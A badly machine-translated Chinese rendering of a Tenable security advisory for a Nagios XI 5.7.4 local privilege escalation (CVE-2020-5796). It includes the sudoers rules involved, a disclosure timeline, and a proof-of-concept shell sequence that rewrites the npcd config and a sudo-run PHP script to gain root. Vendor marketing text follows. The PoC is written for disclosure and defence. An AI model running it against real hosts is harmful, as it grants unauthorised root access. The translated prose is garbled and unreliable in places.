脸书 Google+ 微博 LinkedIn YouTube系统 RSS系统 菜单类 搜索 资源-博客 资源-Webinar 资源-报表 资源-事件 图标#066 图标_067 图标_068 图标_069 图标070

Nagios十一级局部特权升级

高位

简表

/usr/local/nagiosxi/scrips/autodise_new.ph低特权用户可用sudo执行自发现-new.phaches)-最终允许执行带root特权的任意PHP代码

aches用户使用sudo使用自定义发现新.php文件

用户_Alias NaGIOSXI=nagios用户_Alias NaGIOSXIWEB=acheNAGIOSXIALL=NOPASWD:/usr/bin/php/usr/local/nagiosxi/scripts/NAGIOSXIWEBALL=NOPASWD:/usr/bin/php/usr/local/nagiosxi/scripts/

表示nagios和ache用户可用root权限执行此文件Nagios用户还可以利用它修改root所有文件权限允许写访问Nagios用户因此能覆盖自发现新.php文件并修改权限允许写访问允许nagios用户编辑自发现新.ph

并用npcd服务运行nagios用户,但ache用户也可以写入可修改配置文件发布自定义二进制参数

saux+grepncdnagios10290.0371248100414点14分/usr/local/nagios/bin/npcd-f/usr/local/nagios/etc/pnp/npcd.cfg#Is-l/usr/local/nagios/etc/pncd.cfg-rw-rw-raches 3090s313:02/usr/local/nagios/etc/pn/npcd.cfg

ache用户使用sr/local/nagiosxi/scrips/manage_services.sh管理ncd服务

用户_Alias NaGIOSXI=nagios用户_Alias NaGIOSXIWEB=acheNAGIOSXIWEBALL=NOPASWD:/usr/local/nagiosxi/scrips/manage_services.sh*

归根结底,ache用户有权限修改npcd发射配置,使自发现-new.ph并使用sudo高端权限执行本地特权升级可与网络脆弱性并用

概念证明

注意:POC将阻塞/usr/local/nagiosxi/script/构件/自定义发现新.phasnagios或ache用户(通过Web开发)运行下列命令:

#覆盖自发现新.phthis will also modify its permissions to be writable by nagios # will take a moment to complete sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1 --output=/usr/local/nagiosxi/scripts/components/autodiscover_new.php  # stop npcd service sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd  # write to config file # note the use of curl to copy the file's contents to the vulnerable autodiscover_new.php echo -e "user = nagios\ngroup = nagios\nlog_type = file\nlog_file = /usr/local/nagios/var/npcd.log\nmax_logfile_size = 10485760\nlog_level = 0\nperfdata_spool_dir = /usr/local/nagiosxi/scripts/components/\nperfdata_file_run_cmd = /usr/bin/curl\nperfdata_file_run_cmd_args = file:///usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php -o /usr/local/nagiosxi/scripts/components/autodiscover_new.php\nnpcd_max_threads = 5\nsleep_time = 15\nload_threshold = 10.0\npid_file=/usr/local/nagiosxi/var/subsys/npcd.pid\n\n# scrappy" > /usr/local/nagios/etc/pnp/npcd.cfg  # write new autodiscover_new.php file # note that this is a different autodiscover_new.php than the script containing the vuln # this file's contents are copied once npcd launches echo -e "\x3c\x3fphp system('whoami')!\x3f\x3e" > /usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php  # start service.s startncd#启动sudo/usr/bin/php/usr/

下图屏幕显示PHP文件内运行 PoCPOC模拟网络环境执行即链式开发的一部分)调用whoami预示显示代码初始运行为ache

通知端输出包含'root'表示自发现新.php脚本使用root权限执行

求解

升级Nagios XI5.7.5或更新

披露时间线

09/29/2020-可租纳吉欧斯
09/29/2020- Nagios响应告诉我们如何发送报告
09/29/2020-可租发送漏洞报告 Nagios90天日期为2020年12月28日
10/01/2020-可租后续保证收到报告
10/08/2020-再次验收报告
10/19/2020-通过Nagos网络表跟踪确保收到报告
10/2020-通知Nagios延迟发布最后易失能点直到发布补丁或90天日期
10/21/2020- Nagios发送邮件他们不确定为什么我们没有收到他们的邮件问它是否工作
10/21/2020-可置信确认我们收到此邮件
10/21/2020- Nagios发送前几封邮件的细节难复制本地特权升级
10/21/2020-租户发送新POC帮助更好地显示LPE
10/28/2020-可耐性请求更新
10/28/2020-Nagios表示POC讲通正在研究11月应解决之道会发送更新
10/28/2020-Nagios更新

TRA建议内所有信息均提供“原封不动”,不提供任何保理,包括隐含可交易性和适切性保证用于特定目的,不保证完整性、准确性或及时性个人和组织负责评估实际或潜在安全漏洞的影响

可租制非常严肃地对待产品安全if you believe你发现我们产品中的脆弱点, 我们请求你与我们合作 快速解决它以保护客户可点信快速响应报告,与研究人员保持通信并快速提供解决方案

关于提交脆弱资料的更多细节,请见我们漏洞报告指南页码

如有问题或更正,请发邮件[email protected]

风险信息

CVE识别码 CVE-2020-5796
可租咨询ID
TRA-2020-61
信用

克里斯林

sv3基础/时间评分
7.8/7.0
CVSSv3向量
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
受影响产品
Nagios XI 5.7.4
风险因子
高位

咨询时间线

11/13/2020咨询发布

可耐受脆弱性管理

前称Tenable.io


完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产

可租易容性管理实验中也包括可租可租Lumin、可租WebApp扫描和可租云安全

可耐受脆弱性管理

前称Tenable.io

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产购买你年度订阅今天

65码资产类

选择订阅选项 :

立即购买

试可穿Nessus专业免费

免费7天

TenableNessus是当今市场最全面的脆弱感扫描器

New-Nessus专家
现可用

奈苏斯专家增加更多特征,包括外部攻击表面扫描能力以及添加域和扫描云基础设施能力点击这里尝试Nessus专家

填表后继续使用NessusPro测试

可买Nessus专业

TenableNessus是当今市场最全面的脆弱感扫描器可租Nessus专业程序帮助脆弱性扫描自动化,在守法周期中省时并允许你加入IT团队

购买多年度许可证并保存添加高级支持访问电话、社区聊天支持全天365天全天24小时

选择您的许可

购买多年度许可证并保存

添加支持培训

tenable.io

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产

可租易容性管理实验中也包括可租可租Lumin、可租WebApp扫描和可租云安全

tenable.io 付费

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产购买你年度订阅今天

65码资产类

选择订阅选项 :

立即购买

可租WebApp扫描试

前称Tenable.ioWeb应用扫描

完全存取最新网络应用扫描服务 设计现代应用安全扫描全在线组合漏洞高精度而不人工重创或干扰关键网络应用现在就签名

可租WebApp扫描实验中也包括可租易用性管理、可租可租鲁明和可租云安全

可租WebApp扫描

前称Tenable.ioWeb应用扫描

完全访问现代云型脆弱管理平台,使你能够以不匹配精度看到并跟踪所有资产购买你年度订阅今天

5 FQDNs

3 578美元

立即购买

试可腾鲁明

可视化并探索接触管理,跟踪随时间推移降低风险,并参照Tenablelumin对等基准

可点Lumin测试中也包括可点易点管理、可点WebApp扫描和可点云安全

可买路明

联系销售代表,看可租Lumin如何帮助你在整个组织中获取洞察力并管理网络风险

试可耐云安全

前称可租.cs

完全无障碍检测并修复云基础设施误配置并观察运行时漏洞注册免费测试了解更多试验过程点击这里

可租云安全测试中也包括可租易用性管理、可租可租鲁明和可租WebApp扫描

联系人a购买可租云安全

联系销售代表了解更多可耐云安全知识,并观察多易登录云账号并在分钟内为云误配置和漏洞获取可见度

试可耐奈苏斯专家免费

免费7天

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

已经有TenableNessus专业
升级Nessus专家免费7天

买可租Nessus专家

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

选择您的许可

购买多年度许可证并存更多

添加支持培训

试Nessus免费专家

免费7天

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

内索斯职业类
升级Nessus专家免费7天

买可租Nessus专家

内苏斯专家为现代攻击面搭建,使你能够看到更多并保护组织从IT到云的漏洞

选择您的许可

购买多年度许可证并存更多

添加支持培训

Baidu
map